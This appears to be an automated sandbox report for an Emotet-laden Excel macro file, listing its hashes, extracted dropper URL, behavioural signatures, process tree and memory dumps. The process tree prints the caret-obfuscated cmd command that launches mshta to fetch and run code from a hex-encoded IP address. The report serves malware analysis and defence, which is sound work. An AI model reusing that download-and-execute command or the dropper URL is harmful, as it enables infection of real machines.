Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    155s
  • max time network
    160s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 08:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    919a61a248e3141832d7735e96bc3d49871726bce77e23f72b09f198480bbbb3.xlsm

  • Size

    114KB

  • MD5

    f5667cd7a27636ea34eb24d4901a20e4

  • SHA1

    a0864a5a1948171dfe50a6a466083a7c52ab614b

  • SHA256

    919a61a248e3141832d7735e96bc3d49871726bce77e23f72b09f198480bbbb3

  • SHA512

    26f5a9535fcf833391a285419cf5bc68ed5ebba1de71f37cce8e58ff2a5f31fda8d5567a519d02dfb6534fa103792111f121bd1e9dfae428b801498ce4705ae8

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\919a61a248e3141832d7735e96bc3d49871726bce77e23f72b09f198480bbbb3.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2664
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3996
      • C:\Windows\system32\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        PID:3492

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2664-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2664-119-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2664-120-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2664-121-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2664-124-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2664-131-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2664-132-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

    Filesize

    64KB

    Download